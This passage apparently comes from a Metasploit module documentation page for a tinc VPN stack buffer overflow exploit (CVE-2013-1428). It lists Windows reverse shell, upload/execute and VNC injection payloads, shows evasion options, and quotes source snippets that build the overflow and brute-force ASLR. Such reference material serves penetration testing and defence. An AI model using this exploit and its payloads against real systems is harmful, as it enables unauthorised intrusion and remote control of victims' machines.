139 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
140 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
141 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
142 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
143 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
144 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
145 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
146 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
147 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
148 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
149 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
150 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
151 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
152 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
153 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
154 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
155 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
156 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
157 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
158 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
159 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
160 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
161 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
162 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
163 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
164 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
165 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
166 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
167 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
168 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
169 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
170 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
171 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
172 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
173 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
174 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
175 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
176 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
177 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
178 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
179 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
180 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
181 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
182 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
183 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
184 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
185 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the multi/vpn/tincd_bof exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/vpn/tincd_bof) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The resulting payload has <PACKET_PAYLOAD.LENGTH> bytes, we only have <OFFSET> space.
Here is a relevant code snippet related to the "The resulting payload has <PACKET_PAYLOAD.LENGTH> bytes, we only have <OFFSET> space." error message:
304: end
305: end
306: end
307:
308: if packet_payload.length > target['offset']
309: fail_with(Failure::BadConfig, "The resulting payload has #{packet_payload.length} bytes, we only have #{target['offset']} space.")
310: end
311: injection = packet_payload + rand_text_alpha(target['offset'] - packet_payload.length) + [target.ret].pack('V')
312:
313: vprint_status("Injection starts with #{injection.unpack('H*')[0][0..30]}...")
314:
Server refused connection. Is this really a restarting daemon? Try higher WAIT option.
Here is a relevant code snippet related to the "Server refused connection. Is this really a restarting daemon? Try higher WAIT option." error message:
322: send_recv(injection)
323: rescue RuntimeError, Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, ::Timeout::Error, ::EOFError => runtime_error
324: print_error(runtime_error.message)
325: print_error(runtime_error.backtrace.join("\n\t"))
326: rescue Rex::ConnectionRefused
327: print_error('Server refused connection. Is this really a restarting daemon? Try higher WAIT option.')
328: sleep(3)
329: next
330: end
331: secs = datastore['WAIT']
332: print_status("Waiting #{secs} seconds for server to restart daemon (which will change the ASLR byte)")
Brute force with <BRUTEFORCE_TRIES> tries done. If not successful you could try again.
Here is a relevant code snippet related to the "Brute force with <BRUTEFORCE_TRIES> tries done. If not successful you could try again." error message:
330: end
331: secs = datastore['WAIT']
332: print_status("Waiting #{secs} seconds for server to restart daemon (which will change the ASLR byte)")
333: sleep(secs)
334: end
335: print_status("Brute force with #{datastore['BRUTEFORCE_TRIES']} tries done. If not successful you could try again.")
336: else
337: # Setup local ciphers
338: print_status('Initializing tinc exploit client (setting up ciphers)')
339: setup_ciphers
340: # The tincdExploitClient will do the crypto handshake with the server and
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12385 Merged Pull Request: Remove invalid email addresses
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6139 Merged Pull Request: Remove bad references (dead links)
- #5173 Merged Pull Request: fix fail_with errors
- #2756 Merged Pull Request: New tincd post-auth BOF exploit module
References
- CVE-2013-1428
- OSVDB (92653)
- BID-59369
- http://www.floyd.ch/?p=741
- http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/
See Also
Check also the following modules related to this module:
- exploit/windows/vpn/safenet_ike_11
- auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
- auxiliary/gather/fortios_vpnssl_traversal_creds_leak
- auxiliary/scanner/http/cisco_asa_clientless_vpn
- auxiliary/scanner/http/cisco_ssl_vpn
- auxiliary/scanner/http/cisco_ssl_vpn_priv_esc
- auxiliary/scanner/http/fortinet_ssl_vpn
- exploit/linux/local/network_manager_vpnc_username_priv_esc
- exploit/linux/misc/cisco_rv340_sslvpn
- exploit/windows/browser/juniper_sslvpn_ive_setupdll
- post/linux/gather/openvpn_credentials
- post/osx/manage/vpn
- post/windows/gather/credentials/purevpn_cred_collector
- exploit/multi/browser/adobe_flash_nellymoser_bof
- exploit/multi/browser/adobe_flash_pixel_bender_bof
- exploit/multi/browser/java_getsoundbank_bof
- exploit/multi/browser/java_setdifficm_bof
Related Nessus plugins:
- Debian DSA-2663-1 : tinc - stack based buffer overflow
- FreeBSD : tinc -- Buffer overflow (aeb962f6-ab8d-11e2-b3f5-003067c2616f)
- Fedora 18 : tinc-1.0.21-1.fc18 (2013-7120)
- Fedora 17 : tinc-1.0.21-1.fc17 (2013-7128)
- Fedora 19 : tinc-1.0.21-1.fc19 (2013-7085)
Authors
- Tobias Ospelt
- Martin Schobert
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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